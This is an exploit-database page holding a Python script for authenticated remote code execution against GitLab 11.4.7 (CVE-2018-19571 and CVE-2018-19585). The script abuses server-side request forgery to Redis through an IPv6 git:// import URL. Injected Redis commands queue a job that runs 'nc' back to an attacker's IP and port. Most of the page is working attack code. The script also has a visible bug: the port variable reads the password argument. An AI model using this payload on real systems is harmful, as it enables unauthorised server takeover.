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GitLab 11.4.7 Remote Code Execution

GitLab 11.4.7 Remote Code Execution
Posted Dec 24, 2020
Authored by Sam Redmond

GitLab version 11.4.7 authenticated remote code execution exploit. Original discovery of this issue attributed to Mohin Paramasivam in December of 2020.

tags | exploit, remote, code execution
advisories | CVE-2018-19571, CVE-2018-19585
SHA-256 | c9c6f0c8706abfa0c67bcf3a71b777f57f857eb79b6d8aa441fb831112e3fa13

GitLab 11.4.7 Remote Code Execution

Change Mirror Download
# Exploit Title: GitLab 11.4.7 - RCE (Authenticated)
# Date: 24th December 2020
# Exploit Author: Sam Redmond
# Software Link: https://gitlab.com/
# Environment: GitLab 11.4.7, community edition
# CVE: CVE-2018-19571 + CVE-2018-19585
# Version: 11.4.7

#!/usr/bin/python3

import requests
from bs4 import BeautifulSoup
import argparse
import random


parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE')
parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
parser.add_argument('-l', help='reverse shell ip', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)
args = parser.parse_args()

username = args.u
password = args.p
gitlab_url = args.g + ":5080"
local_ip = args.l
local_port = args.p

session = requests.Session()

# Get Authentication Token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
print(f"[+] authenticity_token: {token}")

login_form = {
"authenticity_token": token,
"user[login]": username,
"user[password]": password,
"user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)

if r.status_code != 200:
exit(f"Login Failed:{r.text}")

# Create project
import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git"
project_name = f'project{random.randrange(1, 10000)}'
project_url = f'{gitlab_url}/{username}'

print(f"[+] Creating project with random name: {project_name}")

form = """\nmulti
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port}' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}"
exec
exec
exec\n"""

r = session.get(f"{gitlab_url}/projects/new")
soup = BeautifulSoup(r.text, features="lxml")

namespace_id = soup.find(
'input', {'name': 'project[namespace_id]'}).get('value')

project_token = soup.findAll('meta')[16].get("content")
project_token = project_token.replace("==", "%3D%3D")
project_token = project_token.replace("+", "%2B")

payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"

cookies = {
'sidebar_collapsed': 'false',
'event_filter': 'all',
'hide_auto_devops_implicitly_enabled_banner_1': 'false',
'_gitlab_session': session.cookies['_gitlab_session'],
}

headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': f'{gitlab_url}/projects',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '398',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}

print("[+] Running Exploit")
r = session.post(
gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False)
if "The change you requested was rejected." in r.text:
exit('Exploit failed, check input params')

print('[+] Exploit completed successfully!')


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